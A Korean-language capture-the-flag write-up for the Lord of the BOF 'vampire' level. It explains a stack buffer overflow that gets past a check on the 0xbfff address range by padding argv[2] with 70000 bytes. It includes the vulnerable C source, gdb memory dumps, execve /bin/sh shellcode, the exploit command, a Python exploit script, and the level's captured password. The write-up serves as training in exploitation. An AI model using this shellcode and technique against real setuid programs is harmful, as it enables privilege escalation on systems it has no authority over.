[LOB]Level09. vampire

 

Check 0xBFFF

troll / aspirin


/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

    // here is changed!
    if(argv[1][46] == '\xff')
    {
        printf("but it's not forever\n");
        exit(0);
    }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

0x01. Analysis

RET 주소의 2번째 값이 ‘\xff’이면 안된다..;;

그외에는 별거 없다.

  • buffer 배열 크기 40byte
  • RET 첫 1byte ‘\xbf’로 시작
  • RET 두번째 1byte ‘\xff’ 검증
  • strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사

스택에서 버프의 위치가 0xbfff 영역에 존재하기 때문에 필터링에 걸릴 수 밖에 없다.
어떻게하면 0xbfffxxxx 영역이 아닌 곳에 shellcode를 넣을까 고민을하다가 무식한(?) 방법을 알게됐다.
argv[2]의 많은 값의 데이터를 넣어서 버퍼의 주소가 0xbfff영역을 벗어나게 만들면된다. 😅


확인해보자.

[troll@localhost troll]$ ./aampire `python -c 'print "\x90"*44+"\xff\xff\xbf\xbf"'` `python -c 'print "\x90"*70000'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱옜
Segmentation fault (core dumped)
[troll@localhost troll]$ gdb -c core -q
Core was generated by `./aampire 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱옜 릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfffff in ?? ()
(gdb) x/4x $esp
0xbffeeb50:     0x00000000      0xbffeeb94      0xbffeeba4      0x40013868

argv[2]에 NULL값을 70000개 넣었더니 esp값이 0xbffexxxx 영역을 가리키고 있는 것을 확인하였다.

(gdb) x/100x $esp
=====================================(생략)================================
0xbffeec80:     0x00000000      0x38366900      0x2f2e0036      0x706d6161
0xbffeec90:     0x00657269      0x90909090      0x90909090      0x90909090
0xbffeeca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffeecb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffeecc0:     0xbfbfffff      0x90909000      0x90909090      0x90909090
0xbffeecd0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb)

그리고 실제 Shell Code가 올라가는 주소는 0xbffeeca0 근처 인것도 확인하였다.


0x02. Exploit

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
[troll@localhost troll]$ ./vampire `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xa0\xec\xfe\xbf"'` `python -c 'print "\x90"*70000'`
릱릱릱릱릱릱릱릱릱릱1픐h//shh/bin됥PS됣솻
                                         ?좎
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

0x03. 정리

RET 주소 값이 0xbfff~ 로 시작하는 주소이면 동작하지 않도록 로직이 추가되었고,
shellcode를 0xbfff~ 주소가 아닌 다른 곳에 넣기위해 argv[2]에 많은 쓰레기 값을 넣어 0xbffe~ 주소에 shellcode가 올라가게끔 우회하였다.


import os
import struct

append = lambda x, y: x + y
p32 = lambda x: struct.pack("<I", x)

target = "/home/troll/vampire"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
shellcode_addr = 0xbffeeca0

payload1 = "\x90"*20
payload1 = append(payload1, shellcode)
payload1 = append(payload1, p32(shellcode_addr))

payload2 = "\x90"*70000

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload1, payload2))
else:
        os.waitpid(pid, 0)